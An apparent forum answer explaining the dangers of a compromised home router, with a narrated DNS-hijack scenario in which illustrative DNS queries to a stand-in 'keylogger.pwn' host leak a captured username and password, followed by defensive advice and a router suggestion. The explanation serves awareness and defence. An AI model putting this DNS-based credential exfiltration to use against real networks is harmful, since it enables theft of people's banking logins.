In a recent news, a company calling themselves the Hacking Team resorted to installing rootkits on targeted computers by temporarily recruiting the ISP's assistance and, among other things, let people download "Flash security upgrades" that were anything but (although - given the abysmal Flash security record - it could be argued that a bona fide malware was indeed coming up in the world).

At that point they achieved what whoever hacked a sufficiently powerful router could also achieve: total communication control and the possibility of gaining the complete control of the machine beyond, given that at some point either the machine itself would willingly start, or its user could be enticed into, downloading and executing code coming from the network -- i.e., from the attackers.

Another very real possibility is to install keylogger and navigation hijacking/monitoring software. Consider one of the possible scenarios:

I am now your DNS's daddy.
Every site you want to connect to, you first willingly tell its name to me.
Your PC's firewall will more than certainly trust any DNS query.

So now I (aka your friendly if a bit dishonest new DNS) get asked for

Q. DNS-QUERY IP_ADDRESS_OF customers.vulnerable-banking.org

I now send you a fake IP address. I could try to set up a Man-In-The-Middle attack (and if I have gained access to your browser's key storage, it would probably succeed, because I am now also your Root Certificate Authority). But I don't need to.

The new IP address is a machine that simply redirects you to the real address via HTTP redirect, but now I have been able to legitimately send "you" some information that I could not via DNS. One of the cookie requests is actually a command to the keylogger to start operating.

And in the next few minutes some other DNS queries come along, and they are not intercepted, sent by the keylogger:

Q. DNS-QUERY IP_ADDRESS_OF KeyUp.keylogger.pwn
A. KeyUp.keylogger.pwn has address 127.0.0.1
Q. DNS-QUERY IP_ADDRESS_OF field.user.content.wuijang.keylogger.pwn
A. field.user.content.wuijang.keylogger.pwn has address 127.0.0.1
Q. DNS-QUERY IP_ADDRESS_OF field.pass.content.thisismypassword.keylogger.pwn
A. field.pass.content.thisismypassword.keylogger.pwn has address 127.0.0.2

...and now what was "only" a DNS server also happens to know that when connecting to customers.vulnerable-banking.org, a certain username/password pair is sent.

Not too long afterwards, your banking account is mysteriously transferred to Elbonia.

In your specific case the router is not so powerful, which means that the above disastrous scenario is still possible but requires a bit more subtlety, and most attackers wouldn't bother developing a sophisticated enough attack. Which means that you would notice anomalies and would cotton to the fact your router was compromised (as, indeed, happened). You would probably notice errors in software packages upgrades, or fishy and sloppy pieces of crap trying to pass for software patches.

Unless you were roaring drunk, you would never fall for it.

I don't feel this is enough to feel safe. Having the equivalent of a spyhole embedded in my router, allowing who-knows-who to reroute my traffic as soon as it catches his fancy, would creep me out of my mind. Also, I might someday want to get roaring drunk, and once is all that would be needed.

What if I never do anything 'meaningful' from my home network?

Your network may not contain any sensitive information (frankly, it would be a first), and never be used for anything meaningful for the "real life" "out there". No Amazon purchases, no eBay, Paypal, maybe Craigslist, no home banking and no email checking. No Facebook or Twitter (would you believe there's a market for FB/TW stolen credentials?)

Even so, the network could be, and sooner or later will be, used as a relaunch point - imagine being able to say, "Send one million copies of this spam" and one thousand compromised networks launch one massively parallel spam run, one thousand copies each. Lots of spammers would gladly pay good money to be able to do that, and so lots of crackers are actively looking for ways to sell them this capability - which translates into being able to acquire it illicitly. They need victims. Don't be one.

Also, from a legal point of view, whatever illicit operation your router does (not spamming, no, but maybe bruteforcing a bank account of someone else?) could bring the Law's attention to your door. Even if you were able to readily explain what happened (it depends on their technical savvyness), and they were disposed to listening (I saw it happen. Every now and then), that's your precious and irreplaceable time going down the drain.

Router suggestion

I don't like this kind of suggestions because I don't know where you live or who you're getting connection from (sometimes it's best to get your ISP's recommended brand as it's the one that will work best). Also I wouldn't want the responsibility :-)

However, a nice router I've been recommended is the Buffalo AirStation WBMR-HP-G300H; not new (it first came up on Amazon in 2011) but sturdy, easy to configure, enthusiastically hacked (and patched), and if the worst comes to the worst, it does support DD-WRT. I myself own a patched D-Link that I ensured is not reachable from the outside (I am on copper Ethernet though, no WiFi).